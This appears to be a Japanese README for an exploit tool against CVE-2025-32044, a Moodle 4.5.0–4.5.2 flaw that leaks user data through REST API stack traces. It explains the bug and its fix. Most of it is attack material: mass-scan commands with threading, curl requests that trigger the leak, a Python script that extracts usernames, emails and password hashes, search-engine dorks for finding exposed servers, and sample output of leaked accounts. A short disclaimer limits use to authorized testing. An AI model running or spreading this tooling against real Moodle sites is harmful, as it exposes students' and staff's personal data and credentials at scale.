
Moodle 4.5.0-4.5.2 未認証REST APIによるスタックトレース引数リークを介したユーザーデータ漏洩 | CVSS 7.5
CVE-2025-32044 は、Moodle LMS 4.5.0 から 4.5.2 に存在する、認証なしで悪用可能な高深刻度(CVSS 7.5)の情報漏えい脆弱性です。
この脆弱性は、Moodle の REST API 例外ハンドラ、つまり lib/classes/router/response/exception_response.php 内の exception_response::get_payload_data() に存在します。修正前は、関数引数を含む PHP スタックトレースが API エラーレスポンスに含まれていました。これらの引数には、コールスタックを通過する際に渡された機密のユーザーデータ(ユーザー名、氏名、メールアドレス、パスワードハッシュなど)が含まれます。
漏えいを引き起こすために認証、トークン、ユーザーの操作は一切不要です。攻撃者は、内部例外を引き起こす不正なリクエストを任意の REST API エンドポイントに送信するだけで済みます。
| Moodle バージョン | ステータス |
|---|---|
| 4.5.0 – 4.5.2 | 影響あり |
| 4.5.3+ | 修正済み |
| < 4.5.0 | 影響なし |
zend.exception_ignore_args = On の全バージョン | 影響なし |
発見者: Lucas Alonso(2025年3月14日)
Moodle トラッカー: MDL-84879
アドバイザリ: MSA-25-0011
// lib/classes/router/response/exception_response.php (BEFORE fix)
protected static function get_payload_data(...): array {
$data = [
'message' => $exception->getMessage(),
'stacktrace' => $exception->getTrace(), // ← includes 'args'!
];
return $data;
}
REST API 処理中に例外が発生すると、PHP スタックトレースにはコールスタック内の各フレームの関数引数(args)が含まれます。これらの引数には、コールチェーン上位の関数で処理中だったユーザーテーブルのデータが意図せず含まれます。
// lib/classes/router/response/exception_response.php (AFTER fix)
'stacktrace' => array_map(
fn ($frame): array => array_filter(
$frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
),
$exception->getTrace(),
),
さらに、lib/setup.php に多層防御を追加:
ini_set('zend.exception_ignore_args', '1');
1. Target Moodle 4.5.0-4.5.2 without zend.exception_ignore_args
2. Send malformed request to /webservice/rest/server.php
(e.g., core_user_get_users_by_field with missing required params)
3. Internal exception triggered during user data processing
4. API error response includes stack trace with 'args'
5. Parse args for usernames, emails, hashes
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt
# Single target scan
python cve_2025_32044.py -t moodle.target.com
# Mass scan
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt
# Mass scan with more threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt
# Debug mode
python cve_2025_32044.py -t moodle.target.com --debug -v
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save leaked user data to file
--threads Concurrent workers (default: 30)
--timeout Request timeout in seconds (default: 10)
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2025_32044.py -t moodle-target.com
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Host : moodle-target.com
Moodle : YES v4.5.1
WS Enabled : YES
Token : obtained (admin)
═══ DATA LEAKED ═══
admin | [email protected]
jsmith | [email protected]
mjones | [email protected]
Emails: 3
Hashes: 3
$2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
Time : 3.2s
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Targets: 500 | Threads: 30 | Mode: QUIET
[LEAK] moodle-vuln-01.ac.id users=15 emails=12 hashes=15
[WS] moodle-patched-02.edu token=admin
[!] moodle-no-ws-03.org
[150/500] 30% | Det:87 WS:32 Tok:8 Leak:5
───────────────────────────────────────────────────────
Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5
ステップ 1 — Moodle と Web サービスの検出
# Check if Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle
# Check web services
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS enabled + maybe guest access
# {"error":"Web services must be enabled..."} = WS disabled
ステップ 2 — トークンの取得(可能な場合)
curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'
ステップ 3 — 例外を発生させて漏えいを取得
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Response will contain stacktrace with args if vulnerable
ステップ 4 — 漏えいしたデータの解析
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
'wsfunction': 'core_user_get_users_by_field',
'moodlewsrestformat': 'json',
'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
for arg in frame.get('args', []):
if isinstance(arg, dict) and 'username' in arg:
print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")
FOFA: body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"
悪用に成功すると、以下が得られます:
教育目的および許可を得たテスト目的のみに使用してください。
本ソフトウェアは、許可を得た侵入テストを実施するセキュリティ専門家、自社インフラを監査する組織、脆弱性の悪用を研究する研究者を対象としています。
作者は誤用に対するいかなる責任も負いません。
このプロジェクトは Moodle Pty Ltd とは提携していません。
| フィールド | ソース |
|---|
| ユーザー名 | user テーブル |
| 氏名 | firstname + lastname |
| メールアドレス | email カラム |
| パスワードハッシュ | bcrypt $2y$ / $2b$ ハッシュ |
| 最終ログインIP | lastip カラム |
| ユーザーID | id カラム |
| リソース | リンク |
|---|
| Moodle アドバイザリ MSA-25-0011 | moodle.org |
| Moodle トラッカー MDL-84879 | tracker.moodle.org |
| Git コミット(修正) | github.com/moodle/moodle/commit/41917db65e6b |
| NVD エントリ | CVE-2025-32044 |
| 発見者 | Lucas Alonso |